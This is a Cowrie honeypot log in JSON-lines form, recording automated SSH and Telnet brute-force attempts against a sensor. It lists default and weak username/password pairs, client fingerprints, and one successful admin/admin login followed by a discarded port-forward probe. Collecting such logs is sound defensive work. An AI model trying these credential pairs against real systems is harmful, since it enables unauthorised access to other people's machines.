{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:45.844760Z","src_ip":"91.92.42.227","session":"f69cf93df48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:48.049626Z","src_ip":"91.92.42.227","session":"f69cf93df48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:49.530612Z","src_ip":"91.92.42.227","session":"f69cf93df48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48936,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ac8e824c8a","protocol":"ssh","message":"New connection: 91.92.42.227:48936 (10.17.0.5:22) [session: 75ac8e824c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:52.327004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:52.619402Z","src_ip":"91.92.42.227","session":"75ac8e824c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:52.622126Z","src_ip":"91.92.42.227","session":"75ac8e824c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:54.501168Z","src_ip":"91.92.42.227","session":"75ac8e824c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:56.319906Z","src_ip":"91.92.42.227","session":"75ac8e824c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42292,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ddf2319a8d","protocol":"ssh","message":"New connection: 91.92.42.227:42292 (10.17.0.5:22) [session: b4ddf2319a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:58.604360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:59.105148Z","src_ip":"91.92.42.227","session":"b4ddf2319a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:59.107978Z","src_ip":"91.92.42.227","session":"b4ddf2319a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:02.065341Z","src_ip":"91.92.42.227","session":"b4ddf2319a8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:03.711362Z","src_ip":"91.92.42.227","session":"b4ddf2319a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58926,"dst_ip":"10.17.0.5","dst_port":22,"session":"44bd71ba9f47","protocol":"ssh","message":"New connection: 91.92.42.227:58926 (10.17.0.5:22) [session: 44bd71ba9f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:05.125911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:05.903958Z","src_ip":"91.92.42.227","session":"44bd71ba9f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:05.907716Z","src_ip":"91.92.42.227","session":"44bd71ba9f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.91041374206543,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:06.205808Z","src_ip":"128.199.8.54","session":"1a5cafbf61a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:08.857625Z","src_ip":"91.92.42.227","session":"44bd71ba9f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:10.490294Z","src_ip":"91.92.42.227","session":"44bd71ba9f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b9f8a2babf","protocol":"ssh","message":"New connection: 87.251.64.176:49278 (10.17.0.5:22) [session: b4b9f8a2babf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.408128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.411973Z","src_ip":"87.251.64.176","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.510102Z","src_ip":"87.251.64.176","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.794477Z","src_ip":"87.251.64.176","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.891315Z","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:11.986611Z","src_ip":"87.251.64.176","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:12.216867Z","src_ip":"87.251.64.176","session":"b4b9f8a2babf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58968,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbfbcc5ddc3","protocol":"ssh","message":"New connection: 91.92.42.227:58968 (10.17.0.5:22) [session: 6dbfbcc5ddc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:12.393860Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"258892d0ff0f","protocol":"telnet","message":"New connection: 128.199.8.54:54730 (159.203.135.109:23) [session: 258892d0ff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:12.713535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:13.052557Z","src_ip":"91.92.42.227","session":"6dbfbcc5ddc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:13.055913Z","src_ip":"91.92.42.227","session":"6dbfbcc5ddc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:16.453077Z","src_ip":"91.92.42.227","session":"6dbfbcc5ddc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:18.637024Z","src_ip":"91.92.42.227","session":"6dbfbcc5ddc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51894,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e48c4702b6","protocol":"ssh","message":"New connection: 91.92.42.227:51894 (10.17.0.5:22) [session: 50e48c4702b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:19.225977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:19.896557Z","src_ip":"91.92.42.227","session":"50e48c4702b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:19.900456Z","src_ip":"91.92.42.227","session":"50e48c4702b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40293,"dst_ip":"159.203.135.109","dst_port":22,"session":"065d00012f24","protocol":"ssh","message":"New connection: 168.167.228.74:40293 (159.203.135.109:22) [session: 065d00012f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:20.354579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:20.359580Z","src_ip":"168.167.228.74","session":"065d00012f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:20.619649Z","src_ip":"168.167.228.74","session":"065d00012f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123456","message":"login attempt [gabriel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:21.691219Z","src_ip":"168.167.228.74","session":"065d00012f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60026,"dst_ip":"159.203.135.109","dst_port":23,"session":"583fa8f81dd3","protocol":"telnet","message":"New connection: 128.199.8.54:60026 (159.203.135.109:23) [session: 583fa8f81dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:22.893882Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:22.958055Z","src_ip":"168.167.228.74","session":"065d00012f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:23.226195Z","src_ip":"91.92.42.227","session":"50e48c4702b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:25.276894Z","src_ip":"91.92.42.227","session":"50e48c4702b6","protocol":"ssh"}
